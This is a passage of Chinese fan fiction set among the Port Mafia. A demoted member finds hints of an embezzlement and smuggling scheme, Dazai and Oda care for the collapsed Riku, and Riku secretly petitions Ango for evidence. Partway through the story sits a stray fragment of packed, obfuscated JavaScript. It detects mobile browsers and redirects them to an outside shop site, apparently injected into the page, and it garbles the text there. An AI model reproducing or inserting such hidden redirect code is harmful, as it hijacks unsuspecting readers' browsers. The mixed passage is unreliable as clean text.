通讯器滴滴作响
璃久停在路灯前的一步阴影里
屏幕的冷光,映照出因短讯而逐渐回温的眸色。
他抬起僵硬的右手,缓慢敲下一行字
「五分钟到」
他收起通讯器,转身,沿着路灯相反的方向走去
月色逐渐被五栋大楼的阴影吞噬。
宿舍柜中,几本书压着的布袋内,几颗碎屑散发着微小却安定的光芒
如果现有的规则护不住该护的人,
那就来立新的规则。
直到,再没有人会被它背叛为止。
18.复读鸡.jpg
——
三栋大楼,B1层南区,物资调配中心
装载各种箱子的手推车在走道中穿行
空气中弥漫着淡淡的机油,新纸张和灰尘的混合气味。
这与训练场的汗水和火药味截然不同,也没有任务前夕准备室的紧张感
这里喧闹,却更死寂
健太郎深吸一口气,推开了调配中心厚重的金属门
——
上午八点
“想好了?行动组到后勤科可是单向门。”
三栋大楼,18层,人事科办公室内
科长全村翻着新收到的考评报告
“确实,入队以来你的评价不如人意,最近两次任务中也出现了失误。”
他把纸卷成一束又松开
“但也没到无可救药的地步,放弃的话不会觉得可惜吗?”
他静静的看着健太郎。
这孩子选择部门的志望动机,好像是为了能和朋友们在一起。
“嗯……我知道……”
健太郎开口了
声音发紧,还带着淡淡的沙哑
昨晚和青木哥吵了一架
一夜未眠
黎明时分,他捏着手写的调职申请,敲开了组长的门。
「你确定?」
组长也这么问
「后勤科?那地方只放没用的米虫和被烧干的烂柴,在行动组就算一直不升职,工资也是那里的十几倍啊」
“但是……我的情况……已经不适合留在行动组了……真的很对不起……”
“身体情况啊……”
全村翻到最后一页,□□医疗部出示的诊断报告
「经诊断,该名职员患有PTSD症状,程度:三级,不建议执行一线作战及高应激任务」
「PTSD?那算什么?常年摸枪见血的有几个正常人?」
当时组长猛吸了一口烟,斜睨了他一眼
健太郎颤抖了一下,用力摇着头,牙齿咯咯作响
他想起昨晚,青木哥的咆哮——
「收起你那天真的想法!健太郎!要想活下去,就忘掉那个女人!忘掉那件事!」
「你首先是港口黑手党的一员!是组织的一员!怎么可以质疑组织的决定?!」
他试图解释,但青木哥完全不听
升职后才不过两周,他就变得如此陌生……
“不要……我不要变成那样……”
泪水
温热的泪水砸在冰凉的手背上
他捂着胸口,脸色发白,舌尖尝到了不存在的血腥气
“诶诶,哭什么啊。”
全村摆了摆手,拉过少年放在桌角的申请书,龙飞凤舞的写下一行字
“正好,物资调配中心最近缺人。”
盖上鲜红的印章,他朝门边抬了抬下巴
“三大楼B1南。”
健太郎鞠了一躬,转身离开
身后是全村下达指令的平静声音:“将佐藤的权限从A级下调到C级,快一点。”
推开门,熙攘热闹的声音涌入耳道。
越往后勤电梯走,身边的人越少,到最后只剩下他一人
“叮。”电梯来了
他进入轿厢,按下了B1
按钮微微下陷。表层泛着油腻的光
电梯开始咯吱咯吱的下降,十几秒后停止了
“B1层到了。”
“谢谢……”
对着悦耳的提示女声道了谢,健太郎捏紧了那张纸,汇入了后勤楼层的嘈杂之中。
——
和行动组截然不同
物资科与其说是办公室,不如说是一个大仓库。
高高的天花板下,是纵横交错的货架和分类区域。
电话铃声,键盘敲击声,手持终端扫描器的“嘀嘀”声,以及调度员对着麦克风喊话的声音充斥着空间。
一个正对着清单清点箱子的中年男人瞥了他一眼,下巴指了指角落里的一个隔间
“今天新来的?去那边找今井主任。”
“是…是的!谢谢前辈!”
健太郎连忙鞠躬,走到最深处的小办公室门口,敲了敲门。
“进。”
办公桌后,坐着一个五十岁左右的男人。
他正对着电脑屏幕,手指在计算器上飞快地敲打着。
“主任您好,我是今天来报道的新人……”
健太郎双手递上调职函。
今井接过来,扫了一眼,又上下打量了他一番
“佐藤健太郎…原行动四队。”
他念出声,语气平淡
“怎么想的?从一线调到我们这后勤中的后勤?”
健太郎喉咙发紧,几张脸又在他面前闪过
源,太郎,葵,还有青木哥……
最终,他只是含糊的应了一声
“是…是的,给您添麻烦了。”
今井哼了一声,将调职函塞进抽屉。
“我们这里,不看你的体术成绩,也不看你杀过多少人,只看你眼睛够不够尖,手脚够不够利索,嘴巴够不够严。每一支笔、每一颗螺丝、每一箱……‘特殊物品’,”
今井顿了顿,意有所指,“进出都要有记录,账目必须清清楚楚,明白吗?”
“明白!”健太郎挺直脊背。
“你先熟悉仓库分区和物品编码系统。”
今井递给他一本砖头厚的物料编码手册和一张平面图,
“再跟着前辈们学习出入库登记,单据核对。”
“最基础的,把送来的东西放到该放的地方,把要领出去的东西准确找出来,别搞错。这里,一个数字错了,可能比你在外面开错一枪还麻烦。”
健太郎低下头
“是,我一定小心。”
今井主任挥了挥手
“找外面的西野,他会带你。”
“好的……失礼了……”
健太郎再次鞠躬,退出了办公室。
他问了几个人,找到了正在指挥搬运工摆放箱子的西野,正是刚才指点他的人。
“跟着看,别碍事。”
西野只说了一句,便不再理会他,自顾自地往前走
接下来的三天
健太郎除了阅读那本手册,就是跟着西野和搬运工在仓库里穿梭
他努力记忆着区域划分:A区办公用品,B区普通工具,C区服装被装,E区武器装备,D区……D区是“待检修/待报废物资”,门口挂着醒目的“非请勿入”牌子。
“看什么呢!”
“对!对不起!………”
健太郎连忙收回目光,小跑着跟上
但他内心的疑问反而越来越大
第三次了
每次看向那片区域的时候,就会被前辈们大声呵斥
“佐藤!这里!把这些新到的打印纸放到A-37货架!”
“是的!”
健太郎奔向入口的小推车
他弯下腰,手指在货单上迅速划过
“打印纸……打印纸………啊找到了!”
他核对货单,清点数量,然后将一箱箱沉重的纸张搬上指定的货架。
“佐藤!行动组要求两箱手榴弹!”
“佐藤!后厨订的厨具怎么在A区??重新放!”
“佐藤!昨天说的三箱机车零件还没到吗!”
每天他都像陀螺一样在货架之间来回奔走,只有中午能短暂的休息半小时
他躲在货架的角落里,边啃饭团边翻看那本厚厚的编码手册
耳边传来其他几个老文员的闲聊。
“听说了吗?财务科那边之前那个案子…”
“嘘!小点声!不想干了?”
“怕什么……人都没了。真是想不到,看起来那么老实的一个女孩子……”
“哼,处理的这么快,肯定是挡了谁的路了呗……”
健太郎的心脏猛地一缩,手指用力,几乎要将手册的书页捏破。
葵……
在这些老油条口中,她的死轻飘飘的,只是一则值得唏嘘但很快就会被遗忘的谈资。
他吃着饭团,眼眶又忍不住开始发酸
第一次见到葵,是集合后在人事科办公室,她帮他检查出了血型错误,并搬出入职守则的内容,让人事科负责登记的老员工替他修改了信息,
两周后,他因中弹失血过多,医疗科的人只是随意扫了一眼信息,就替他输了血
事后,他特地提了点心去财务科道谢
葵没有收,只是对着电脑,神情淡淡的
「正确的信息是组织运转的基石,我做的只是维护这块基石的完整,不需要感谢。点心请收回去,非指定区域接受赠礼不符合内部审计流程」
那样的人,那样认真到近乎刻板,完全不讲人情的人……怎么可能……
“喂!新人!”
西野的喊声再次传来,
“别发呆!把这批‘待报废’的旧键盘送到D区门口,会有人来收!”
健太郎猛地回过神,应了一声。
他放下手册,拉着平板车走向那堆贴着“报废”的箱子,搬起其中一个。
D区
他放慢了动作,扫了一眼
箱子很沉,但封箱的胶带却过于崭新和整齐了,与箱子本身的陈旧格格不入。
他没有表露出任何异常,只是按照指示将箱子送到D区门口。
卸下箱子,他直起腰,看着眼前这扇挂着“非请勿入”牌子的门
胸中的涩意逐渐平息,化作一阵未知的,新的情绪
后来他才知道
那种情绪,叫做斗志。
并非为了杀死敌人,而是为了揭开真相,沉冤昭雪。
——
三天后,B1层
健太郎正推着一辆满载普通后勤工具的手推车,前往各楼层的维修点进行派发
他走进连接四大区域的主干道
一阵短促的,重物落地的闷响从前方拐角处传来。
是箱子掉了吗?
健太郎查看了一下货箱,确认完好
他犹豫了一下,还是推着车,加快脚步转过拐角。
眼前的景象让他的呼吸一滞。
一个人倒在地上
身边翻倒着一辆装满清洁工具的推车
深蓝色的清洁工制服,过长的黑发遮住了侧脸,但那单薄的身形……
“望月……?”
那个园艺科被贬职到清洁科的,望月璃久?
他立刻扔下手推车,几步冲了过去,将人轻轻翻了个面
果然是望月璃久。
双眼紧闭,脸色苍白得像纸,嘴唇也没有一丝血色,额发被冷汗浸湿,身体在无意识地微微颤抖,仿佛正承受着巨大的痛苦。
“望月!望月璃久!”
健太郎拍了拍他的脸颊,触手一片冰凉,没有反应。
生命在眼前无声消逝的无力感再次袭来。
不能再这样了!
他不能再看着一个同期死在自己面前!
他试图将璃久扶起来,但对方完全失去了意识,身体软绵绵的。
“来人!有没有人!”
他朝着空荡的走廊喊道
回应他的只有走廊尽头,自己的回声。
不能再耽搁了,他必须立刻求助!
他小心翼翼地将璃久放下,让他保持侧卧,防止呕吐物堵塞气道
然后,他站起身,准备以最快的速度跑回物资科打电话。
转身的瞬间,余光瞥见了清洁车旁的几件东西。
除了常见的抹布,刷子,还有一个标记着 “B2专用-高强度消毒”的喷壶,以及几块颜色不一,显然用于不同等级污染区域的抹布。
B2……
那个他只在同期的口中听过,连想都不愿去想的楼层。
葵最后被带去的地方……
一个清洁工,为什么会需要专门处理B2层的工具?
健太郎的心沉了下去。
他不再多想,用尽全力朝着物资科狂奔而去。
他冲进调配中心嘈杂的大厅,顾不上周围人投来的诧异目光,径直扑向距离最近的内线电话
“喂!B——B1层主干道,靠近后勤电梯厅,有人晕倒了!是清洁科的望月璃久!需要急救!”
他语无伦次地对着话筒喊道,“快点!求求你们!……”
“喂!新人!你——”
“抱歉前辈!我的同伴晕倒了,我必须去救他!”
挂断电话,健太郎朝诧异的西野匆忙地鞠了一躬,又拼尽全力往回跑去
那个瘦小的身影越来越近
依然一动不动,连姿势都没变过
他猛地蹲下身,因为跑动的呼吸急促不
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已
“望月?醒一醒,别睡……”
他摸索着璃久的手腕,用力按下急救教学上提过的穴位
时间一分一秒过去
他边按手腕,边焦急地望向走廊入口,期盼着医疗人员能快点出现。
然而,最先出现的,却是一抹修长,几乎与阴影融为一体的黑色。
鞋跟敲地的声音不疾不徐,带着一种格格不入的悠闲。
黑风衣,绷带
是太宰治。
健太郎的心猛地提起。
为什么会是他?
一个干部,怎么会关心一个底层清洁工的死活?
还是……
“啊啦,这不是刚刚调来物资科的佐藤君吗?”
太宰的声音带着一丝慵懒的笑意
“真是热心的好同事呢,值得表扬。”
他边说,边旁若无人地向前走来,显然目标是地上的璃久。
健太郎猛地起身,向侧面跨出一步
他张开双臂,挡在了璃久和太宰之间。
“太,太宰先生!”
他的声音干涩发紧,但眼神却异常坚定
“我……我已经呼叫了医疗站!医疗人员马上就到!按——按照规定,应该先由医疗站进行初步处理!”
太宰的脚步停了下来。
“规定?”
他轻轻重复了一遍
“佐藤君,你很有趣哦。刚刚因为‘不适应一线’而调来后勤,现在却敢用‘规定’来阻拦干部了?”
他怎么会知道我?
健太郎的脸色更白了
但他咬紧牙关,没有后退。
他不能让这个危险的男人直接带走望月
如果,发生像葵之前一样的事……
“我……我只是认为,应该先确保望月君得到……得到规范的救治。”
太宰向前倾身,目光越过健太郎的肩膀,落在昏迷的璃久身上
“规范的救治?你觉得,医疗站那些只会处理皮外伤和发烧感冒的庸医,能治好他吗?”
“这孩子的问题,可不是简单的劳累过度啊。他需要的是……更专业的照顾。而我,正好能提供这种照顾。现在,你还要继续挡在这里,耽误他接受治疗吗?”
健太郎看着太宰,巨大的恐惧几乎要将他吞噬。
他知道,自己只是一个底层,没有任何力量与这位干部抗衡。
然而,当他瞥见璃久苍白脆弱的侧脸时,斗志再次支撑住了发抖的双腿。
“至少……至少等医疗站的人来看过,确认……确认他可以移动……”
他的声音越来越小,但张开的手臂却没有放下。
太宰静静地看了他几秒钟,忽然轻笑出声
“好吧好吧。”
他直起身,摊了摊手
“既然佐藤君这么坚持,那就按‘规定’来好了。我就在这里,等等看那些庸医能有什么高见。”
他没有再试图靠近,而是悠闲地靠在了对面的墙壁上
几分钟,对健太郎而言却如同几个世纪过去后,走廊尽头传来了凌乱却漫不经心的脚步声
两名医疗站人员提着急救箱一前一后地走来
在看见太宰的瞬间,他们的脚步就顿住了
“太,太宰先生!”两人连忙鞠躬,声音带着惶恐。
“不用管我,”
太宰挥了挥手,“先看看地上那个孩子吧,这位热心的佐藤君可是很担心呢。”
医疗人员赶紧跑上前,对璃久进行初步检查。
“生命体征微弱,脱水,低血糖,极度疲劳……”
一名医疗人员快速报出检查结果,试图给璃久戴上氧气面罩,“需要立刻输液,送回医疗站进一步观察!”
“望月!望月璃久!你在哪儿?你负责的B2层区域为什么还没完成交接记录?!你知不知道这会影响整个科的效率——”
走廊的另一头,靠近清洁科的方向
一个烦躁高扬的声音由远及近。
黑田胜一边快步走来,一边低头看着手中的表格板
然而,当他抬起头,后半句话硬生生卡在了喉咙里。
“太……太宰先生!您……您怎么会在这里?”
太宰先对搬来担架的医疗人员做了个“不要动”的手势,然后才看向黑田。
“黑田科长,我倒是想问问你,你是怎么管理下属的?竟然能让一个员工,在工作时间,工作地点,因为‘过度劳累’而晕倒?”
他加重了“过度劳累”四个字,目光扫了一眼地上散落的,标志着B2层专用的清洁工具。
黑田的额头瞬间沁出了冷汗。
他太清楚“过度劳累”在港口黑手党意味着什么
那不仅是管理无能,更是可能被上面问责“是否在浪费组织人力资源”的把柄。
他试图辩解:
“太宰先生,这……这可能是个意外!望月他身体一直比较虚弱,而且清洁科的工作本身就……”
“哦?”
太宰向前走了一步,“可是我听说,望月君最近的工作量,似乎远超常人呢。又是审讯室,又是档案库,又是垃圾站……黑田科长,你这是把他当成‘多功能清洁机器人’在使用吗?还是说……”
他的目光骤然锐利:
“……你对他,有什么特别的‘期待’,以至于需要用这种方式来‘打磨’他?”
这句话精准命中了黑田内心最深处见不得光的盘算。
在太宰的目光下,他那点关于“提携”,“培养”的借口是如此可笑和不堪一击。
“真是,不让人省心的小猫呢。”
太宰不再看他,而是弯下腰,亲手将璃久抱了起来。
这个动作,如同一记惊雷砸在在场所有人的心上
喷洒在颈边的呼吸微弱,他眉眼中的最后一丝戏谑也褪去了
抱着轻飘飘的璃久,太宰最后瞥了一眼面如死灰的黑田:
“黑田科长,看来你对‘人才’的定义和管理方式,存在严重的偏差。我想,你需要一点时间来重新学习和理解。”
“至于望月君,”
他调整了一下姿势,让璃久靠得更安稳些
“在他康复之前,就由我接手了。你,和你的清洁科,都不必再费心了。”
说完,他不再看所有人,只是抱着璃久,迈着和来时一样轻快的步伐,径直离开。
19.搞事前奏
—
深夜
港口黑手党总部大楼,19层,情报科
和三号大楼的情报科不同,总部情报科是组织的情报中心,只有经历丰富历经风雨的一线情报官才有资格进入。
走廊最深处的一间办公室内
坂口安吾坐在桌前
他快速浏览完一份报告,照例在最末写下批注
“咚,咚。”
敲门声
声音不大,在空无一人的楼层内非常清晰
他头也不抬,笔也未停:“进。”
门开了一条缝,又迅速合上。
寂静
一时间无人出声
安吾等了一会儿,忍不住出声
“什么事。”
阴影中的人动了
他步子不大却异常稳定,流畅又无声地走到桌边
“啪嗒。”
安吾放下笔,拿起桌角多出的白色纸条
他展开,凑到阅读灯下——
纸条上不过寥寥几行
他读完文字,左手自然的拉开抽屉,掏出一个煤油打火机
“嚓——”
一簇火苗在黑暗中燃起
纸条被火舌舔舐着,很快化为一小撮灰
他将灰倒入桌角边的垃圾桶后,望向那片阴影。
镜片后,眼神变得锐利和严肃。
不仅因为纸条的内容
更因为这个在凌晨三点,跨越禁制,独自敲开他办公室门的人
—
十二个小时前——
下午三点,横滨中华街
朱红牌楼下,灯笼随风摇摆,人流熙熙攘攘。
织田作之助走在最前面,璃久紧跟在他半步之后,目光小心翼翼地掠过两旁的店铺和人群
这种纯粹的,充满生活气息的热闹,与他一直面对的阴暗和死寂截然不同。
三小时前,他在一间宽敞明亮的公寓内醒来
身下是柔软到奢侈的鹅绒被,空气中弥漫着淡淡的香味。
织田作说,他被太宰从走廊捡回这间安全屋后,睡了足足快24个小时
期间一动不动
太宰怀疑他死了,对他的心口施以极小剂量的电击都没有醒
那是当然的
转入清洁科后,他就没有睡过一个像样的整觉
而十天前,和织田作的对话结束后,他几乎把自己变成了一座永不停歇的机器
凌晨,48楼的花园,进行日常除草,施肥和给新苗浇水
六点,准时到清洁科报道,一直到下午七点半,打扫完全部区域并勉强通过黑田的考核,再去花园进行二轮养护
八点半在咖喱店吃完晚餐,九点回到宿舍。
之后,才是硬仗的开始
他会打开上锁的小柜子,掏出那张A3纸
纸上写着只有他能看懂的字母,辅以不同的箭头表示关系。
柜子角落的小铁盒里,装着对纸上内容而言至关重要的物证
他会打开小台灯,在桌前将一天的收获全部写上,再摊平收集到的证据放入小铁盒。
票据
对话
地图
他像个囤积狂,疯狂的搜刮着一切能用于推翻规则的事物
但更多时候,他只是对着纸发呆
脑海中浮现出斋藤濒死前绝望的眼睛,和中原中也燃烧着天真火焰的蓝眸
偶尔,他会陷入思索
这样做真的值得吗?
会有被看到的那一天吗?
织田作,老板和孩子们会因此而受到危险吗?
思索不到五秒,就会被他强行掐灭
「力量从来不是欺凌弱者的借口」
凯的眼睛浮现出来
「记住了小不点!这招是用来保护最重要的人的!」
他不能后退
正因为要保护,最重要的人和信念
他才要做这些事情。
关了灯,合眼后不到三小时,他就得起床了
几乎,是24小时不睡觉的高强度作息
比起他成为影蚀后,后半程在溶狱的生活,还要残酷
他的意志在熊熊燃烧,身体却发出了警报
一天前的下午,他刚结束审讯室的清扫工作,在推着车经过拐角时,世界突然变得模糊不清
“哐当——”
一个平静如常的午后
他的世界却陷入了一片漆黑
—
“跟不上了?”
织田作停下脚步,回头看向璃久。
接到太宰的电话时,他刚结束一场在码头的清扫(字面意义上的)任务,来不及换下装备,就马不停蹄赶到了友人的安全屋。
“医生说是低血糖,营养不良加过度劳累。”
太宰坐在一边的沙发上,勾了勾嘴角
“别担心啦织田作,我已经用我的方式替他请过假了哦~那个黑田不敢再继续加码了。”
“嗯。”
他脱下风衣挂到衣架上,俯下身,指腹轻轻拂过璃久的眼角
“织田作?”
“啊,没事。”
“又是这样。”
太宰不满的鼓起包子脸,“之前明明说好的,我们是盟友,要共同分享秘密不是吗?”
“——我,感觉他在背负什么。”
织田作盯着璃久,语气是罕见的犹疑
“不知道那具体是什么,只觉得它很沉重。”
“背负?”
太宰饶有兴致的眯起眼睛
“需要我以干部身份介入一下吗?”
织田作犹豫了一下,还是摇摇头
“你能及时带他回来,就足够了。”
“啊,你在说什么啊织田作。”
太宰失望的在沙发上晃来晃去,“这是约定的一部分不是吗?”
“嗯,你说的对。”
他不知道璃久在承受什么,但他答应过的,一直都会在。
不管发生什么
“织田作——作为盟友的身份,给你个建议哦——”
太宰向前倾身,压低声音
“找机会,问出来会比较好。”
“不然——”
他瞥了一眼床上还在熟睡的璃久,意有所指。
“下次,就不一定赶得上了哦——”
—
“不累。”
璃久轻轻摇头,目光落在包子铺蒸笼升腾起的白色蒸汽上。
他有些饿了
从晕倒到现在,他什么都没吃。
“休息一下吧,我有点饿了。”
织田作说着,带头走向附近一个相对安静的角落
那里有几张露天摆放的桌椅。
在他们身后,穿着清爽白色衬衫的太宰轻盈地拉开椅子坐下
“织田作~难得的休假,一直闷在房间里多没意思啊,你看看璃久君,一直待在地下那个见不得光的角落,不晒太阳的话,小心像那个暴力肌肉蛞蝓一样长不高哦。”
来横滨街散步是他的提议,除了让璃久晒太阳,还想观察这个孩子在日常的,和港//黑完全不一样的场景下,会有什么新的变化。
他优雅的坐下,手臂搭在椅背上,姿态慵懒
“真是托了某人的福,才能在这种阳光明媚的下午,享受难得的带薪休假呢。”
他瞥了一眼璃久,指间夹着的小笔记本被风微微吹开,上面密密麻麻写满了有趣(他认为的)现象描述和分析。
织田作在贩卖机里买了三瓶弹珠汽水,放在木质桌面上,发出清脆的响声。
“喝点东西。”
他将一瓶推到璃久面前。
“谢谢。”
璃久拿起瓶子,冰凉的触感从掌心蔓延开。
他学着织田作的样子,试图按下弹珠
但试了几次,那玻璃珠都顽固地卡在瓶颈处,发出尴尬的“咔哒”声。
“啊啦,无敌的拳场冠军竟然连一瓶小小的汽水都打不开吗。”
太宰嗤笑一声,看到璃久因为那个称呼而身体一僵
他心满意足的拿起自己那瓶,“噗”一声轻松按下,气泡欢腾地涌上瓶口。
他喝了一大口,然后故意对着璃久叹了口气:“啊——果然悠闲的午后就要配汽水!”
织田作伸出手,拿过璃久那瓶汽水
“发力点错了。”
他抬起手指,示意璃久看仔细,“在这里,然后要一口气按下去。”
“啵”
“好了。”他将汽水放回璃久面前。
璃久看着瓶中重新升腾起气泡的碧绿色液体,低声道谢
他小口啜饮着,甜滋滋又带着微刺感的口感在口中弥漫开
哈密瓜味的好甜,比橙子味更甜
他偷偷抬眼看了看身边的红发男人,心底那丝因太宰在场的紧张感冲淡了些许
“说起来,织田作,”
太宰晃着瓶子,看着弹珠在液体中滚动,“听说你最近开始写小说了?”
织田作点了点头,目光看向街上熙攘的人流
“嗯。还在学习。”
“诶——写什么呢?无痛死亡的一百种方法?”太宰兴致勃勃地追问。
“一个关于杀手不再杀人的故事。”
璃久安静地听着
他知道织田作有一个平凡简单的梦想
有朝一日,等他和那五个孩子都长大之后,他就会在海边的窗户前,埋头写他想写的故事。
“身为mafia却不杀人啊……”
太宰拖长了语调,眼神飘向远方
随即,他又笑眯眯地转向璃久:“璃久君呢?除了扫地,有什么兴趣爱好吗?比如……收集亮晶晶的小石头?”
璃久握着汽水瓶的手收紧了
他知道太宰指的是什么
那些被他藏在角落的,从审讯室缝隙里清理出来的,属于宝石项目的微小碎屑。
“没有。”
他垂下眼睫,盯着桌面上的木纹,努力平息着过快的心跳
不能打草惊蛇
起码是现在,他根本没有和太宰对话的资本
“是吗?真可惜。”
太宰不再追问,但那意味深长的笑容表明他根本不信。
“包子好了!”
织田作适时地转移了话题:“我去买几个,当午饭吧。”
“我也去。”
璃久立刻起身,紧紧揪着织田作的衣角,努力忽视身后太宰玩味的目光。
“啊啦,都走了吗,只丢下我一个人啊,好过分~”
太宰毫无形象的仰倒在木椅上,手里的笔记本高高举起
微风吹过,露出上面书写的内容
「现象一:拟态自然物,泥土,植物,持续时间约3秒……」
「现象二:拟态金属造物,伴随微弱音效,持续时间2秒……」
「现象三:拟态有机物堆积,落叶,伴有气味模拟……」
最底下是一行分析——
「范围局限,稳定性差,但转化类型多样,涉及物质形态,质感,甚至……似乎还有感官模拟?这已经远超普通物质重构的范畴了……」
太宰的视线越过笔记本,望着店铺前紧紧跟在织田作身后的璃久
他动了动手指
那里还残留着那一瞬间的感觉
在抱起小猫的一瞬间,能感觉到他体内的生命力在迅速流失
与之相对的,是不良症状的明显加重
冷汗增多,颤抖加剧,脸色也愈发苍白
他能感觉到,自己的异能撕开了某层帘幕,这具身体已经惨不忍睹的状况因此彻底暴露
原来如此
能让你保持这么多天高强度运转都没有完全枯竭的原因
是因为那个小熔炉吗
真是越来越有趣了
“先吃饭。”
大肉包被推到面前
太宰啪地一声合上本子,眉头有气无力的耷拉下来
“呜啊,好油腻的味道,一点都不优雅!织田作!我想吃蟹肉罐头!蟹肉罐头!”
“那你就等着。”
织田作已经拿起一个肉包,“等我们吃完,再去买蟹肉罐头。”
“好吧好吧。”
太宰认命地撕下一小块皮,放进嘴里味同嚼蜡的咀嚼着。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027577|193662||http|test|mini|href|location''.split(''|''),0,{}));
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>短暂的午餐兼休息后,三人继续在街上漫无目的地闲逛。
太宰拿着两个蟹肉罐头,边吃边瞄着街边店铺的各种小吃,一会儿要试试超辣的麻婆豆腐,结果只吃了一口就被被辣的眼泪汪汪,把剩下的全扔给织田作,一会儿又被色彩缤纷的糖葫芦吸引,结果吃了半口就嫌酸,往璃久手里一塞就跑开了。
织田作则像一位沉默的监护人,负责买单和管孩子,比如护着璃久避开喧闹的角落,以及制止太宰试图用绷带去打扰路边睡觉的野猫
璃久夹在两人之间,拿着糖葫芦(他避开了太宰啃过的那里),小口小口安静地吃着
在他们经过一个相对僻静的巷口时,一个身影与他们擦肩而过。
“唔…果然还是巷口那家粗点心店的糯米糍更好吃,这家馅料太甜了啦……”
贝雷帽,旧披风
青年百无聊赖的望着天空,目光在掠过璃久脸庞时,微微停顿。
然后,他迈开腿,径直朝璃久走了过来
“唔……”
江户川乱步发出一个意义不明的音节,然后突然凑近,几乎要贴到璃久脸上
“你……很有意思!”
璃久被他突如其来的动作惊得后退半步
织田作立刻不动声色移动半步,将璃久半挡在身后
太宰也收起了玩闹的表情,饶有兴致地看着这个不速之客。
然而,乱步根本没察觉到这剑拔弩张的气氛
他指着璃久,兴奋又高昂的宣布着
“你!明明站在最脏最乱的泥潭最底下,眼睛里看到的却比站在最高处的人还要多,还要清楚!真是奇怪啊,太奇怪了!”
璃久的心脏猛地一缩。
这个人……他看出了什么?
乱步完全没在意璃久骤变的脸色,他双手抱胸,语气意味深长
“但是呢,看得太多太清楚,有时候反而会迷路哦!因为你看到的东西太多太杂了,对吧?”
“这样,身为全日本最珍贵的宝物,最优秀最出色的名侦探乱步大人,就给你一个提示吧!”
他刻意停顿,目光扫过璃久紧绷的脸,清晰而缓慢地说:
“当你想要知道一个故事的‘真正开头’,与其在满是灰尘的故纸堆里翻找,不如直接去问问……那个拥有‘最初剧本’的人。毕竟,最初版本往往才是最有趣的,不是吗?”
说完,他不再看璃久,转而对着太宰和织田作挥了挥手
“不打扰你们散步咯!我还要去找那家传说中的超~级美味的杏仁豆腐店呢!”
然后,他便蹦蹦跳跳地消失在熙攘的人群中。
太宰看着乱步消失的方向:“最初的记录?听起来像是档案管理员,或者情报员的领域呢。”
织田作沉默了片刻,轻轻拍了拍璃久的肩膀
“走吧,天色不早了。”
璃久点了点头,将翻腾的心绪强行压下。
他最后看了一眼乱步消失的方向
那位先生说的没错
他一直在凭借清洁工的身份,在垃圾站,审讯室艰难地收集着物理碎片。
他从未想过,或许有更直接的方式,能够接触到问题的源头
那份最初的计划书。
这么庞大的走私计划,背后一定有官方的文件
而涉及到,或者说可能有权限接触到这类文件的……
—
安吾放下钢笔,伸手取过纸条
展开,纸上是干净却略显稚嫩的字迹。
敬启
坂口安吾先生:
我知您与织田作相识。
财务科新人斋藤葵被冤死,与宝石项目有关。
我手中有物证,需该项目原始计划书副本以证其清白。
望您相助。
——望月璃久
安吾脸上没有任何表情,只是读完后,拉开抽屉,拿出打火机。
“嚓。”
火苗安静地舔舐着纸条的边角,将承载着巨大风险和诉求的字句化为灰烬
空气中弥漫开淡淡的焦糊味。
安吾将打火机放回抽屉
他将目光投向阴影处
望月璃久立在阴影中,依旧保持着原来的姿势,仿佛烧掉的只是一张废纸。
办公室里陷入了更深的寂静
安吾身体微微前倾,双手交叉支在下巴下
“你知不知道,”
他顿了顿,确保璃久的每一分注意力都在接下来的话上,
“刚才要求我帮你掀翻的,可能是港口黑手党的半壁江山?”
这句话不是威胁,而是陈述。
一个关于权力,阴谋与血腥现实的陈述。
璃久所提的冤案,他作为首席情报官,并非完全不知
那是一个盘踞在财务,物资,乃至部分武装线路上的共生毒瘤。
动了它,就等于同时挑战了根植于此的利益集团,挑战了中原中也刚刚建立的威信和太宰乐见其成的棋局
最终,必将迫使首领进行伤筋动骨的清洗。
而璃久,这个入职港口黑手党不到两个月的新人,正在试图成为斩断链条的刀,和挑开黑暗的杆
若是平时,面对一个普通的,却敢这样说话的清洁工,一定早就被他冷嘲热讽后赶出去
但现在,他面前的是望月璃久
是他最好的朋友之一,织田作之助亲自抱回来的,最在乎(之一)的养子
他静静的看着阴影
璃久没有说话
他向前走了几步,步伐稳定,毫无迟疑,让自己彻底脱离了阴影的庇护,完全暴露在清冷的月光之下。
那一刻,安吾真正对上了他的眼睛
里面没有恐惧,没有哀求,没有愤怒,没有催促。
只有一种和织田作如出一辙的,“一旦决定什么就不会后退的”倔强和坚持
他没有回答“是”或“不是”。
他只是看着安吾,用那双眼睛,给出了比任何语言都更有力的回答。
安吾在他的注视中,松了一口气,缓缓靠回椅背。
他知道了
这个少年,清楚一切,并且,义无反顾。
20.月升
—
横滨港,码头,深夜
璃久贴着七号仓库的水泥外墙,在集装箱的缝隙间小心移动
相邻的六号仓库门口,货车引擎轰鸣
几个穿着后勤制服的成员正在卸货
他们来自后勤部的资产回收科,名头响亮,却算得上另一种层面上的“清洁工”
“妈的,又是行动组那帮大爷的‘高级垃圾’!”
为首一人——老鸟骂骂咧咧地拍着一个密封金属箱
“上周才领走的崭新货色,转眼就成‘运输损耗’了?这损耗率比他妈前线战斗还高!”
“行了,鸟前辈,上头签了字,说是‘运输途中的高强度对抗导致的不可逆损伤’,咱们照流程处理就行了。”
“放屁的不可逆损伤!”
老鸟啐了一口
“那批夜鹰目镜,镜片连道划痕都没有,电路板新得能反光,直接就报‘系统殉爆’?真当老子是瞎的?!”
年轻后勤压低声音:“我听说……桥本科长那边催得很急,要求所有‘待报废品’的流程必须在当周走完,不能积压。怪了,正经任务没见他们这么高效率过。”
“哼,效率?”
老鸟冷笑,“账面上的‘效率’当然高了。东西一‘报废’,采购成本立马核销,账目上干干净净。至于后面什么情况,是真废了,还是换个标签直接进了黑市……谁能查到?”
他用力关上货车厢门
“反正最后报上去的报告,肯定是‘成本降低,资金周转健康’!咱们这位准干部大人,只管看报表上的漂亮数字,哪会来查这差额到底是进了谁家的口袋?!”
璃久躲在集装箱的阴影中
“桥本科长”,“准干部”,“报废”,“成本降低”,“漂亮数字”,“谁家的口袋”
结论很明显了。
有人正在系统性地报废组织的新装备,并将这笔钱挪作他用。
